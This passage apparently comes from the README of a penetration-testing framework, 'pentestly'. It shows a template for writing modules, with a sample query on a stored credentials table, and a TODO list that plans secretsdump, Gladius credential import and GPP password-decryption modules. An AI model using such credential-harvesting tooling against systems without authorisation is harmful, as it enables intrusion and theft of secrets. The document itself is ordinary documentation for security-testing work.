        'name': 'Your module name goes here',
        'author': 'Developer name goes here',
        'description': 'Description of the module goes here',
        'query': 'SQL QUERY whose result is passed to your module',
        'options': (
            ('Option1', 'Default Value', Required-True/False, 'Description of option'),
        ),
    }

    def module_pre(self):
        # Optional
        # Happens before your module

    def module_run(self, data):
        # Required
        # data is the result from the SQL query set in the options

        ### Few magic functions
        # self.query - Perform an SQL query on the internal database
        results = self.query("select * from pentestly_creds")

        # self.output - print default information to the user
        self.output("Performed an SQL query")
        self.output(results)

        # self.alert - print the successful message to the user
        self.success("Yay! We performed successful work")

    def module_post(self):
        # Optional
        # Happens after your module


TODO:


  • secretsdump.py module should be implemented. 
  • Add utility functions for database queries similar to creds, services
  • To have fixed width columns rework draw_table function 
  • Import credentials from Gladius
  • Implement GPP password search and decrypt module